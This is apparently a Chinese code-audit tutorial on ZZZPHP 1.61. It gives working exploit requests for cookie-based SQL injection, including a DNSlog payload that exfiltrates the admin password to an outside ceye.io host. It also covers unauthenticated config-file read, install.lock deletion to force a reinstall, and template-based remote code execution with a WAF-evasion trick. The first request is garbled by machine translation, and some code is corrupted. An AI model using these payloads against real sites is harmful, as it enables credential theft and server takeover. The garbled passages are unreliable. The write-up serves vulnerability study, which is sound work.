payload,pay for

  

  最近很多朋友在后台留言看关于代码审计的文章。其实网上关于审计的文章资源很多,但是从代码审计开始到结束这样的文章很少。   

  

     

  

  今天要讲解的ZZZPHP1.61有很多审计漏洞,如SQL注入漏洞、任意文件删除漏洞、任意文件读取漏洞、远程执行漏洞等。其中还有漏扫工具的帮助,涵盖方方面面,分析透彻。学了之后,肯定受益匪浅!   

  

  注:文章还是原来的方式,先转载再分析,阅读大概7分钟。   

  

  SQL注入漏洞(获取管理员密码)   

  

  漏洞重现   

  

  有效载荷:   

  

  GET/search/HTTP/1.1 host : 127 . 0 . 0 . 1 user-agent : Mozilla/5.0(Macintosh;英特尔Mac OS X 10.14;RV :60.0)Gecko/2010 01 01 Firefox/60.0 accept : text/html,application/xhtml xml,application/XML;q=0.9,*/*;q=接受-语言: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip,通缩cooie : PHPSESSID=58 ebb 86 AE 371 BD 1 f 65466 B1 b 94 f 7 a5f 7;zzz _ admin pass=1;ZZ _ keys=0' XOR (if (now ()=sysdate(),sleep (10),0)) XOR' Z连接3360关闭升级-插入-请求3360 1缓存-控制3360 max-age=0。通过比较两次的时间,我们知道我们的语句已经成功执行,这表明有SQL注入。   

  

     

  

     

  

  漏洞分析   

  

  这个洞最初是由AWVS工具扫描的。当我们审计一组代码时,可以先尝试这些遗漏扫描工具来提高效率。虽然有虚警,但是收集到的信息比人工检测的效率更高。   

  

  测试的时候,可以使用PHPstorm或者vscode之类的工具进行调试,走一遍整个过程,这样就会对程序有所了解。   

  

  再次发送一个包到搜索页面会停在search/index.php文件,这个文件相对简单,包含一个zzz_client.php的文件   

  

  ?phpdefine('LOCATION ',' search ');需要目录名(目录名(__文件_ _))。/Inc/zzz _ client . PHP ';Inc/zzz_client.php文件包含一些类似于模板的文件等。在这里,找到$tplfile=TPL_DIR。search.html '通过上述位置;   

  

  开关($ location){ case ' about ' : $ TPL file=TPL _ DIR。g(' stpl ');打破;case ' brand ' : $ stpl=splits(db _ select(' brand ',' b_template ',' bid='。G('bid ')或' b_name=' '。G('bname ')。'''),',');if(defined(' is WAP '){ $ TPL file=isset($ stpl 1)?$ stpl1 : $ stpl0} else { $ tplfile=$ stpl0} $tplfile=empty($tplfile)?TPL_DIR。brand.html' : TPL_DIR。$ tplfile打破;case ' brand list ' : $ TPL file=isset($ stpl)?TPL_DIR。$stpl: TPL_DIR。brand list . html ';$ GLOBALS ' tid '='-1 ';打破;案例'内容' : $tplfile=TPL_DIR。g(' ctpl ');打破;案例“列表”: $tplfile=TPL_DIR。g(' stpl ');打破;case ' taglist ' : $ TPL file=TPL _ DIR。标记列表. html ';$ GLOBALS ' tid '='-1 ';打破;案例“用户”: $tplfile=TPL_DIR。user . html ';打破;案例“搜索”: $tplfile=TPL_DIR。search.htm   

l'; break;到下面就实例化,解析模板。

  

}elseif($conf<'runmode'>==0|| $conf<'runmode'>==2 || $location=='search' ||$location=='form' ||$location=='screen' || $location=='app'){$zcontent = load_file($tplfile,$location);$parser = new ParserTemplate();$zcontent = $parser->parserCommom($zcontent); // 解析模板echo $zcontent; 往下走进到inc/zzz_template.php文件,注入的主要是$zcontent =

  

$this->parserlocation( $zcontent ); // 站点标签这一句,继续parserSearch函数跟下去。

  

case 'search': $zcontent = $this->parserSearch( $zcontent );走到inc/zzz_template.php的1561行,如果经过getform函数的话会被txt_html过滤掉,但是我们用的cookie,所以这里直接获取没有过滤。

  

$keys = safe_key(getform( 'keys', 'post' ),60);if ( $keys ) { set_cookie( 'keys', $keys );} else { $keys = get_cookie( 'keys' );}我们可以进get_cookie函数看下,prefix前缀是zzz_所以我们的参数为zzz_keys,这里获取到了数据但也没有过滤直接就返回了。

  

function get_cookie( $name ) { if ( is_null( $name ) ) return ''; $data = isset( $_COOKIE< $_SERVER< 'prefix' > . $name > ) ? $_COOKIE< $_SERVER< 'prefix' > . $name > : NULL; return $data;}下面就是直接执行了我们带有恶意的SQL语句了

  

  

知道有SQL注入漏洞后,可以直接扔进SQLmap或者用DNSlog,下面我提供一个DNSlog的payload:

  

0'XOR(if(now()=sysdate(),(select load_file(concat('\\\\',(select password from zzz_user where username='admin'),'.xxxx.ceye.io\\abc'))),0))XOR'Z

  

  


  

任意文件读取漏洞(获取敏感信息)

  

漏洞复现

  

payload:

  

GET /admin155/?module=templateedit&type=/config/zzz_config.php HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:60.0) Gecko/20100101 Firefox/60.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://127.0.0.1/admin155/?datebackuplistCookie: PHPSESSID=58ebb86ae371bd1f65466b1b94f7a5f7; zzz_adminpass=1; zzz_adminpath=0; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; zzz_adminname=admin; XDEBUG_SESSION=PHPSTORMConnection: closeUpgrade-Insecure-Requests: 1这个漏洞是无需登录后台的,后台的地址可以直接写一个Python脚本来爆破一下就行了,命名规则为admin+三位随机数。

  


  

  


  

漏洞分析

  

这个漏洞是在后台查看模板文件内容的时候找到的,抓一个包然后改变下路径看是否能读到其他的目录文件。

  

文件路径admin155/index.php

  

前面是获取module和type参数,看到文件的最后面包含文件这里,走进去看下:

  

$GLOBALS<'r'>=isset($data) ? arr_key($data) : '';//echop (parse_admin_tlp($module));die;include parse_admin_tlp($module);作用是把我们刚才传入的模板名称然后生成一个缓存文件。

  

function parse_admin_tlp( $module ) { $tpltype = G( 'ID' ) ? 'edit' : 'add'; $tplfile = SITE_DIR . conf( 'adminpath' ) . 'template/' . $module . '.tpl'; $cachefile = RUN_DIR . 'cache/' . conf( 'adminpath' ) . md5( $module . $tpltype ) . '.tpl'; //echop ($tplfile);echop ($cachefile); //echop( template_parse(load_file($tplfile))); if ( !is_file( $cachefile ) || time_file( $tplfile ) > time_file( $cachefile ) || size_file( $tplfile ) == 0 ) { create_file( $cachefile, template_parse( load_file( $tplfile ) ) ); } return $cachefile;}后面会走到缓存文件的26行,load_file加载文件,网站的根目录和刚才传入的type也就是我们的路径。

  

<?php echo load_file($_SERVER<'DOCUMENT_ROOT'>.G('type'));?>inc/zzz_file.php的load_file函数,这里做了一个替换,不过没什么卵用,判断是否是文件就直接读取内容了。

  

function load_file( $path, $location = NULL ) { $path = str_replace( '//', '/', $path ); if ( is_file( $path ) ) { return file_get_contents( $path ); } elseif ( !is_null( $location ) ) { $locationpath = PLUG_DIR . 'template/' . $location . '.tpl'; if ( is_file( $locationpath ) ) { return file_get_contents( $locationpath ); } else { $url = $_SERVER< 'REQUEST_URI' >; $url = sub_left( $url, '?' ); phpgo( $url ); return false; } } elseif ( is_file( SITE_DIR . $path ) ) { return file_get_contents( SITE_DIR . $path ); } else { error( "载入文件失败,请检查文件路径!," . str_replace( DOC_PATH, '', $path ) ); return false; }}读取网站之外的文件

  

  

为什么没有登录后台也能利用这个漏洞呢?

  

先在admin155/index.php里面包含inc/zzz_admin.php文件,但是这个inc/zzz_admin.php文件判断后没有用exit( )这类的函数,导致程序继续往下走,又会回到admin155/index.php执行67行的内容,导致出现了可以不用登录后台也能读取任意文件。

  

任意文件删除漏洞

  

漏洞复现

  

Payload:

  

POST /admin155/save.php?act=delfile HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:60.0) Gecko/20100101 Firefox/60.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://127.0.0.1/admin155/?module=uploadlist&type=&folder=productContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 30Cookie: PHPSESSID=58ebb86ae371bd1f65466b1b94f7a5f7; zzz_adminpass=1; zzz_adminpath=0; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; zzz_adminname=admin; XDEBUG_SESSION=PHPSTORMConnection: closepath=/upload/..//install/install.lock

  

  

漏洞分析

  

这个漏洞也是在后台做一些删除操作的时候发现的,开始的时候限制了目录,程序里面做了安全目录的限制,但是还是可以通过一些手段去绕过的。

  

根据我们的paylaod可以看到admin155/save.php的文件,delfile( )函数,这里从post方式获取到路径,这里做了一个限制的数组$safe_path,通过arr_search函数来寻找是否匹配。如果存在的话就传递给del_file函数。

  

function delfile(){ $file=getform('path','post'); $file_path=file_path($file); $safe_path=array('upload','template','runtime','backup'); if(arr_search($file_path,$safe_path)){ $file=$_SERVER<'DOCUMENT_ROOT'>.$file; return del_file($file); }}比较数组

  

// 比较两个数组,是否有重复,重复则返回truefunction arr_search($arr1, $arr2 ) { $result=false; foreach ( $arr1 as $v ) { if(in_array( $v,$arr2 )) return true; } return $result;}但是这里做了后缀的限制,后缀一定不能是'php', 'db', 'mdb', 'tpl'类型。

  

function del_file( $file ) { if ( is_null( $file ) ) return FALSE; $file = is_file( $file ) ? $file : $_SERVER< 'DOCUMENT_ROOT' > . $file; if ( is_file( $file ) ) { if (ifstrin( $file,'runtime')){ unlink( $file ); }else{ $ext = file_ext( $file ); if ( in_array( $ext, array( 'php', 'db', 'mdb', 'tpl' ) ) ) return FALSE; if ( !unlink( $file ) ) { $r = @rename( $file, randname() ); } } }}但是我们能删除install.lock之类的文件,删除这个安装文件就可以重新安装程序,然后远程写入配置文件的方法把我们的恶意语句写进配置文件中去。

  

参考文章:

  

https://getpass.cn/MIPCMS%20V3.1.0%20Remotely%20Writing%20the%20Configuration%20File%20Getshell/ ,但是这个程序不行,他的大部分get、post都是经过getform函数的,这个函数里面用了一个txt_html转换来过滤掉我们的字符。

  

function getform( $name, $source = 'both', $type = NULL, $default = NULL ) { switch ( $source ) { case 'post': $data = _POST( $name ); break; case 'get': $data = _GET( $name ); break; case 'both': $data = _POST( $name ) ? : _GET( $name ); break; } if ( !is_null( $type ) ) { if(ifch($default)){ $err = checkstr( $data, $type, $default ); }else{ $err = checkstr( $data, $type, $name ); } if ( $err< 'code' > == 0 ){ if ( $default == 'layer' ) { layererr( $err< 'err' > ); } else { back( $err< 'err' > ); } } } if ( !is_null( $default ) && !ifch( $default) ) { $data = empty( $data ) ? $default : $data; } return txt_html( $data );}txt_html虽然说这个能作为防御,但是也影响了程序模板部分的功能,等会getshell的时候会分析到。

  

// txt 转换到 htmlfunction txt_html( $s ) { if ( !$s ) return $s; if ( is_array( $s ) ) { // 数组处理 foreach ( $s as $key => $value ) { $string< $key > = txt_html( $value ); } } else { if (get_magic_quotes_gpc()) $s = addslashes( $s ); $s = trim( $s ); //array("'"=>"'",'"'=>""",'<'=> "<",'>'=> ">"); if ( DB_TYPE == 'access' ) { $s= toutf( $s ); $s = str_replace( "'", "'", $s ); $s = str_replace( '"', """, $s ); $s = str_replace( "<", "<", $s ); $s = str_replace( ">", ">", $s ); }else{ $s = htmlspecialchars( $s,ENT_QUOTES,'UTF-8' ); } $s = str_replace( "\t", ' ', $s ); $s = preg_replace('/script/i', 'scr1pt', $s ); $s = preg_replace('/\.php/i', '.php', $s ); $s = preg_replace('/ascii/i', 'asc11', $s ); $s = preg_replace('/eva1/i' , 'eva1', $s ); $s = str_replace( "┠", "", $s ); $s = str_replace( "┼", "", $s ); $s = str_replace( "\r\n", "\n", $s ); $s = str_replace( "\n", '<br/>', $s ); } return $s;}任意代码执行漏洞(Getshell)

  

漏洞复现

  

这个漏洞有点类似于seacms的那个前台getshell,但是这个是要在后台修改模板文件才可执行。

  

1、登录后台,找到模板管理,电脑模板。

  


  

  


  

2、随便找一个文件,比如我用brandlist.html,点击编辑,加入我们的payload。

  

{if:a-ssert($_POST)}xxx{end if} //这里为了防止创宇云盾检测到去掉a后面的-就行了。

  

  

3、保存后打开我们编辑的页面,post的内容x=phpinfo( );或者x=s-ystem('whoami')//这里也是把s后面的-去掉就行了。

  


  

  

漏洞分析

  

首先我们可以用seay的代码审计工具去搜索关键字执行,这个我先用了phpstorm的搜索功能找到一个eva1的执行函数,然后逆过来看下从哪里可以执行这个函数,看到了在模板文件的替换函数里面。

  

  

我们直接定位到if替换的地方inc/zzz_template.php文件的parserCommom函数,可以进parserIfLabel函数一看究竟。

  

publicfunction parserCommom( $zcontent ) { $zcontent = $this->parserSiteLabel( $zcontent ); // 站点标签 $zcontent = $this->ParseInTemplate( $zcontent ); // 模板标签 $zcontent = $this->parserConfigLabel( $zcontent ); //配置表情 $zcontent = $this->parserSiteLabel( $zcontent ); // 站点标签 $zcontent = $this->parserCompanyLabel( $zcontent ); // 公司标签 $zcontent = $this->parserlocation( $zcontent ); // 站点标签 $zcontent = $this->parserLoopLabel( $zcontent ); // 循环标签 $zcontent = $this->parserContentLoop( $zcontent ); // 指定内容 $zcontent = $this->parserbrandloop( $zcontent ); $zcontent = $this->parserGbookList( $zcontent ); $zcontent = $this->parserUser( $zcontent ); //会员信息 $zcontent = $this->parserLabel( $zcontent ); // 指定内容 $zcontent = $this->parserPicsLoop( $zcontent ); // 内容多图 $zcontent = $this->parserad( $zcontent ); $zcontent = parserPlugLoop( $zcontent ); $zcontent = $this->parserOtherLabel( $zcontent ); $zcontent = $this->parserIfLabel( $zcontent ); // IF语句 $zcontent = $this->parserNoLabel( $zcontent ); return $zcontent;}注意:先执行inc/zzz_client.php里面的模板解析函数,然后再进入我们刚才开始分析的地方。

  

  

parserIfLabel这个函数开始正则匹配,然后把匹配到的语句做替换,最后ifstr的值为a-ssert($_POST加入eva1的$ifstr函数执行,程序本身没有在这里做过滤一些危险的函数,导致任意代码执行。

  

publicfunction parserIfLabel( $zcontent ) { $pattern = '/\{if:(<\s\S>+?)}(<\s\S>*?){end\s+if}/'; if ( preg_match_all( $pattern, $zcontent, $matches ) ) { $count = count( $matches< 0 > ); for ( $i = 0; $i < $count; $i++ ) { $flag = ''; $out_html = ''; $ifstr = $matches< 1 >< $i >; $ifstr = str_replace( '<>', '!=', $ifstr ); $ifstr = str_replace( 'mod', '%', $ifstr ); $ifstr1 = cleft( $ifstr, 0, 1 ); switch ( $ifstr1 ) { case '=': $ifstr = '0' . $ifstr; break; case '{': case '<': $ifstr = "'" . str_replace( "=", "'=", $ifstr ); break; } $ifstr = str_replace( '=', '==', $ifstr ); $ifstr = str_replace( '===', '==', $ifstr ); @eva1( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );上面任意文件删除漏洞说到的影响了模板文件的功能,原因是在txt_html函数里面,因为开始编辑保存的时候它会把整个模板文件的内容传到上面的getform的函数,然后返回数据的时候用了下面的txt_html函数,一般模板文件里面会有一些类似script的字符但是这里过滤了

  

$s = preg_replace('/script/i', 'scr1pt', $s );所以导致影响了这个编辑模板的功能,这样就很矛盾了。

  

// txt 转换到 htmlfunction txt_html( $s ) { if ( !$s ) return $s; if ( is_array( $s ) ) { // 数组处理 foreach ( $s as $key => $value ) { $string< $key > = txt_html( $value ); } } else { if (get_magic_quotes_gpc()) $s = addslashes( $s ); $s = trim( $s ); //array("'"=>"'",'"'=>""",'<'=> "<",'>'=> ">"); if ( DB_TYPE == 'access' ) { $s= toutf( $s ); $s = str_replace( "'", "'", $s ); $s = str_replace( '"', """, $s ); $s = str_replace( "<", "<", $s ); $s = str_replace( ">", ">", $s ); }else{ $s = htmlspecialchars( $s,ENT_QUOTES,'UTF-8' ); } $s = str_replace( "\t", ' ', $s ); $s = preg_replace('/script/i', 'scr1pt', $s ); $s = preg_replace('/\.php/i', '.php', $s ); $s = preg_replace('/ascii/i', 'asc11', $s ); $s = preg_replace('/eva1/i' , 'eva1', $s ); $s = str_replace( "┠", "", $s ); $s = str_replace( "┼", "", $s ); $s = str_replace( "\r\n", "\n", $s ); $s = str_replace( "\n", '<br/>', $s ); } return $s;}以上是今天的全部内容,大家学会了吗?

相关文章